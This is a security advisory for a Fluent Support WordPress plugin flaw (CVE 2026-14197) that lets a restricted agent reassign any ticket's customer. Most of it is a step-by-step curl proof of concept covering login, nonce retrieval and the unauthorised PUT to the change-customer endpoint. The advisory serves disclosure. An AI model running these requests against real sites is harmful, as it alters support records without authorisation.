Fluent Support < 2.3.1 – Agent+ Arbitrary Ticket Customer Reassignment via IDOR | CVE 2026-14197

Description

The plugin does not perform a per-ticket access check before reassigning a ticket's customer, allowing a restricted support agent to change the assigned customer of any ticket in the system, including tickets outside their granted scope.

Proof of Concept

Prerequisites (admin actions in Fluent Support): add a low-privilege WP user as an agent with a restricted permission set (e.g. only "Merge Tickets", assigned-only visibility, cannot manage tickets). A target ticket T exists, assigned to a different agent.

BASE="https://victim.example"
# 1. Authenticate as the restricted agent (WP cookie auth)
curl -sk -c c.txt -d "log=AGENT_A&pwd=PASS&wp-submit=Log+In&testcookie=1" "$BASE/wp-login.php"
# 2. Obtain the agent's wp_rest nonce
NONCE=$(curl -sk -b c.txt "$BASE/wp-admin/admin-ajax.php?action=rest-nonce")
# 3. (optional) prove no access: closeTicket on ticket T is rejected
curl -sk -X POST -b c.txt -H "X-WP-Nonce: $NONCE" "$BASE/wp-json/fluent-support/v2/tickets/T/close"
#    -> "Sorry, You do not have permission to this ticket"
# 4. Exploit: reassign ticket T's customer to an arbitrary customer id (parameter is 'customer')
curl -sk -X PUT -b c.txt -H "X-WP-Nonce: $NONCE" --data "customer=ARBITRARY_ID" \
  "$BASE/wp-json/fluent-support/v2/tickets/T/change-customer"
#    -> {"message":"Customer has been updated"}  (ticket T's customer_id is now changed in the database)

Step 3 confirms the agent has no access to ticket T (the access-checked method rejects); step 4 (the method missing the check) succeeds.